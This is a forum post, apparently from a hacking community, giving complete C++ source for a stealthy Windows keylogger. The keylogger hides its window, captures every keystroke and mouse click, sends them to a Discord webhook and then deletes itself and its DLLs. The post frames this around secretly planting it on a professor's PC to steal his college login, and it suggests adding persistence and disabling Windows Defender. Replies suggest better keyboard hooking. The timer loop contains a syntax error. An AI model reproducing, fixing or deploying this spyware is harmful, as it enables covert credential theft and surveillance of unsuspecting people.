Own a Windows Keyboard

Windows 10 Keylogger written in C++

FOREWORD
I am a beginner in C/C++ and especially malware development in Windows. So I have made a keylogger for Windows, that is pretty basic, but probably a bit different from others.

Please note that it was written for EDUCATIONAL PURPOSES
The scenario that is mentioned in the blog is fictional


INTRODUCTION
There are various different malware and lots of different projects I could develop. In the end, I was out of ideas and nothing would drive me. There was no use for me to write any projects because I didn’t have motivation, or some sort of reward system in my head. I could write a simple rootkit for Linux, but I wouldn’t use it anywhere - no reward.

I made up this scenario in my head where I had to write malware for a specific target that I want to get data from. So I came up with an idea of a keylogger. What if I had to get into the website of my college? My college professor had logins to the college website where I could send emails, change grades and more. I could own the system. But how?

This exciting plan came to mind. The professor logs in to the website during class. I could bring a USB with some type of malware and plug it in his PC when he’s out of the class, move the executable to some random folder and run it there. The malware then logs all keystrokes for x minutes, after that it returns the keystrokes to my Discord server through a webhook and the executable self-deletes hiding its traces.


DOCUMENTATION
I’m not skilled enough to write code that is functional to send messages to a Discord webhook, although I am skilled enough to find a library that does it for me. I found this library D++, it’s a Discord C++ library and it does everything that I need.

How the keylogger is supposed to work:

  • Run silently in background
  • Log all keys
  • Count time using threads at the same time
  • After time expires send all keys to Discord webhook
  • Self-delete and hide all traces
using std::thread;
using std::string;
using std::cout;

void countTime(); // counts time
void StealthMode(); // runs in the background
void StartLogging(string&); // logs all keys to a string
void SendKeyz(string); // send keys
void DelMe(); // self-delete
// Defining the functions

Writing functions in a class Functions. No idea what I’m doing, but it works :smile:

class Functions {
public:
    void DelMe() // function to delete self after running
    {
        TCHAR szModuleName[MAX_PATH];
        TCHAR szCmd[2 * MAX_PATH];
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };

        GetModuleFileName(NULL, szModuleName, MAX_PATH);

        StringCbPrintf(szCmd, 2 * MAX_PATH, "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"", szModuleName); // cmd.exe ping ... del

        CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        exit(0);
    }

    void countTime(string& keyz) { // function to count for how much time to run the program
        int i = 30; // seconds for how long to run 
        for(;i=<0;i--){
            std::this_thread::sleep_for(std::chrono::seconds(1));
        }
        SendKeyz(keyz);
        DelMe();
    }

The self delete function and count time function, please let me know if there’s something that needs changing.

Function that logs all the keys. You can add more keys or remove certain keys that you don’t need. Even logs mouse clicks.

void StartLogging(string& keyz) { // function to log keys
        char c;

        for (;;) {

            for (c = 8; c <= 222; c++) {
                if (GetAsyncKeyState(c) == -32767) {

                    if (((c > 64) && (c < 91)) && !(GetAsyncKeyState(0x10)))
                    {
                        c += 32;
                        keyz += c;
                        
                        break;
                    }
                    else if ((c > 64) && (c < 91))
                    {
                        keyz += c;
                       
                        break;
                    }
                    else {

                        switch (c)
                        {
                        case 48:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += ")";
                            else
                                keyz += "0";
                        }
                        break;

                        case 49:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "!";
                            else
                                keyz += "1";
                        }
                        break;

                        case 50:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "@";
                            else
                                keyz += "2";
                        }
                        break;

                        case 51:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "#";
                            else
                                keyz += "3";
                        }
                        break;

                        case 52:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "$";
                            else
                                keyz += "4";
                        }
                        break;

                        case 53:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "%";
                            else
                                keyz += "5";
                        }
                        break;

                        case 54:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "^";
                            else
                                keyz += "6";
                        }
                        break;

                        case 55:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "&";
                            else
                                keyz += "7";
                        }
                        break;

                        case 56:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "*";
                            else
                                keyz += "8";
                        }
                        break;

                        case 57:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "(";
                            else
                                keyz += "9";
                        }
                        break;

                        case VK_SPACE:
                            keyz += " ";
                            break;
                        case VK_RETURN:
                            keyz += "\n";
                            break;
                        case VK_TAB:
                            keyz += "  ";
                            break;
                        case VK_BACK:
                            keyz += " <BACKSPACE> ";
                            break;
                        case VK_DELETE:
                            keyz += " <Del> ";
                            break;
                        case VK_NUMPAD0:
                            keyz += "0";
                            break;
                        case VK_NUMPAD1:
                            keyz += "1";
                            break;
                        case VK_NUMPAD2:
                            keyz += "2";
                            break;
                        case VK_NUMPAD3:
                            keyz += "3";
                            break;
                        case VK_NUMPAD4:
                            keyz += "4";
                            break;
                        case VK_NUMPAD5:
                            keyz += "5";
                            break;
                        case VK_NUMPAD6:
                            keyz += "6";
                            break;
                        case VK_NUMPAD7:
                            keyz += "7";
                            break;
                        case VK_NUMPAD8:
                            keyz += "8";
                            break;
                        case VK_NUMPAD9:
                            keyz += "9";
                            break;
                        case VK_LBUTTON:
                            keyz += " **MOUSE_LEFT** ";
                            break;
                        case VK_RBUTTON:
                            keyz += " **MOUSE RIGHT** ";
                            break;
                        case VK_CAPITAL:
                            keyz += " **CAPS** ";
                            break;
                        case VK_SHIFT:
                            keyz += " **SHIFT** ";
                            break;
                        default:
                            keyz += c;
                        }
                    }
                }
            }
        }
    }

Function to run in the background and the other one to send keys to the Discord webhook using D++ library.

void StealthMode() { // function to hide window and run in the background
        AllocConsole();
        HWND stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }

    void SendKeyz(string keyz) // function to send logged keys to discord webhook
    {
        dpp::cluster bot("");
        dpp::webhook wh("WEBHOOK"); // replace with your discord webhook. could probably encrypt it or something if someone decides to reverse engineer the malware
        bot.execute_webhook(wh, dpp::message(keyz));     
    }
}

The main function. Using threads, which uses a lot of CPU, but I have ran into issues when not using threads at all.

int main() {
    Functions FunctionObject;
    string c;

    thread t1(&Functions::countTime, &FunctionObject, ref(c));
    thread t2(&Functions::StartLogging, &FunctionObject, ref(c));
    thread t3(&Functions::StealthMode, &FunctionObject);

    t1.detach();
    t2.join();
    t1.join();
    t3.join();

    return 0;
}

The whole code:

#include <dpp/dpp.h>
#include <iostream>
#include <winuser.h>
#include <fstream>
#include <string>
#include <chrono>
#include <thread>
#include <windows.h>
#include <strsafe.h>

// You'll need DPP dll file and a few other dll files in the same directory so I made a batch script to delete those as well
/*
timeout 3660 > NUL
del /f dpp.dll && del /f libcrypto-1_1-x64.dll && del /f libsodium.dll
del /f libssl-1_1-x64.dll && del /f opus.dll && del /f zlib1.dll
del /f Srfx.exe
(goto) 2>nul & del "%~f0"
*/

using std::thread;
using std::string;
using std::cout;

void countTime();
void StealthMode();
void StartLogging(string&);
void SendKeyz(string);
void DelMe();

class Functions {
public:
    void DelMe() // function to delete self after running
    {
        TCHAR szModuleName[MAX_PATH];
        TCHAR szCmd[2 * MAX_PATH];
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };

        GetModuleFileName(NULL, szModuleName, MAX_PATH);

        StringCbPrintf(szCmd, 2 * MAX_PATH, "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \"%s\"", szModuleName); // cmd.exe ping ... del

        CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        exit(0);
    }

    void countTime(string& keyz) { // function to count for how much time to run the program
        int i=30;
        for(;i=<0;i--){
            std::this_thread::sleep_for(std::chrono::seconds(1));
        }
        SendKeyz(keyz);
        DelMe();
    }

    void StartLogging(string& keyz) { // function to log keys
        char c;

        for (;;) {

            for (c = 8; c <= 222; c++) {
                if (GetAsyncKeyState(c) == -32767) {

                    if (((c > 64) && (c < 91)) && !(GetAsyncKeyState(0x10)))
                    {
                        c += 32;
                        keyz += c;
                        
                        break;
                    }
                    else if ((c > 64) && (c < 91))
                    {
                        keyz += c;
                       
                        break;
                    }
                    else {

                        switch (c)
                        {
                        case 48:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += ")";
                            else
                                keyz += "0";
                        }
                        break;

                        case 49:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "!";
                            else
                                keyz += "1";
                        }
                        break;

                        case 50:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "@";
                            else
                                keyz += "2";
                        }
                        break;

                        case 51:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "#";
                            else
                                keyz += "3";
                        }
                        break;

                        case 52:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "$";
                            else
                                keyz += "4";
                        }
                        break;

                        case 53:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "%";
                            else
                                keyz += "5";
                        }
                        break;

                        case 54:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "^";
                            else
                                keyz += "6";
                        }
                        break;

                        case 55:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "&";
                            else
                                keyz += "7";
                        }
                        break;

                        case 56:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "*";
                            else
                                keyz += "8";
                        }
                        break;

                        case 57:
                        {
                            if (GetAsyncKeyState(0x10))
                                keyz += "(";
                            else
                                keyz += "9";
                        }
                        break;

                        case VK_SPACE:
                            keyz += " ";
                            break;
                        case VK_RETURN:
                            keyz += "\n";
                            break;
                        case VK_TAB:
                            keyz += "  ";
                            break;
                        case VK_BACK:
                            keyz += " <BACKSPACE> ";
                            break;
                        case VK_DELETE:
                            keyz += " <Del> ";
                            break;
                        case VK_NUMPAD0:
                            keyz += "0";
                            break;
                        case VK_NUMPAD1:
                            keyz += "1";
                            break;
                        case VK_NUMPAD2:
                            keyz += "2";
                            break;
                        case VK_NUMPAD3:
                            keyz += "3";
                            break;
                        case VK_NUMPAD4:
                            keyz += "4";
                            break;
                        case VK_NUMPAD5:
                            keyz += "5";
                            break;
                        case VK_NUMPAD6:
                            keyz += "6";
                            break;
                        case VK_NUMPAD7:
                            keyz += "7";
                            break;
                        case VK_NUMPAD8:
                            keyz += "8";
                            break;
                        case VK_NUMPAD9:
                            keyz += "9";
                            break;
                        case VK_LBUTTON:
                            keyz += " **MOUSE_LEFT** ";
                            break;
                        case VK_RBUTTON:
                            keyz += " **MOUSE RIGHT** ";
                            break;
                        case VK_CAPITAL:
                            keyz += " **CAPS** ";
                            break;
                        case VK_SHIFT:
                            keyz += " **SHIFT** ";
                            break;
                        default:
                            keyz += c;
                        }
                    }
                }
            }
        }
    }
    void StealthMode() { // function to hide window and run in the background
        AllocConsole();
        HWND stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }

    void SendKeyz(string keyz) // function to send logged keys to discord webhook
    {
        dpp::cluster bot("");
        dpp::webhook wh("WEBHOOK");
        bot.execute_webhook(wh, dpp::message(keyz));     
    }
};

int main() {
    Functions FunctionObject;
    string c;

    thread t1(&Functions::countTime, &FunctionObject, ref(c));
    thread t2(&Functions::StartLogging, &FunctionObject, ref(c));
    thread t3(&Functions::StealthMode, &FunctionObject);

    t1.detach();
    t2.join();
    t1.join();
    t3.join();

    return 0;
}

You could add other features like adding it to startup or gaining admin privs and disabling windows defender, although last time I checked this was undetectable.

That’s the end of this thread. This is my first post, so let me know if there’s something wrong with it. Feel free to leave a like if you found this useful and let me know if there are any bugs that I’m not aware of.

Full Code

5 Likes

Why are you using GetAsyncKeyState, just hook the keyboard with SetWindowsHookEx and WH_KEYBOARD_LL, Otherwise the code is good

4 Likes

mood. lmfao
Why use keystates? You can open a hook to the keyboard and virtual keys for translation

also need github, anonfiles or such for the code. easier

3 Likes

Hey everyone, thanks for all the replies! I’m a bit busy now, but once I have more time I’ll fix the code and update the post.

3 Likes

Full code:

1 Like

What’s the difference though? Between GetAsyncKeyState and SetWindowsHookEx

2 Likes

By using GetAsyncKeyState you will be burning the computer’s cpu since you are listening for keyboard event in the background, however if you did this in SetWindowsHookEx you will be hooking the data in the msg loop, which will be a much more relevant approach to eavesdrop keyboard events

2 Likes

This topic was automatically closed after 121 days. New replies are no longer allowed.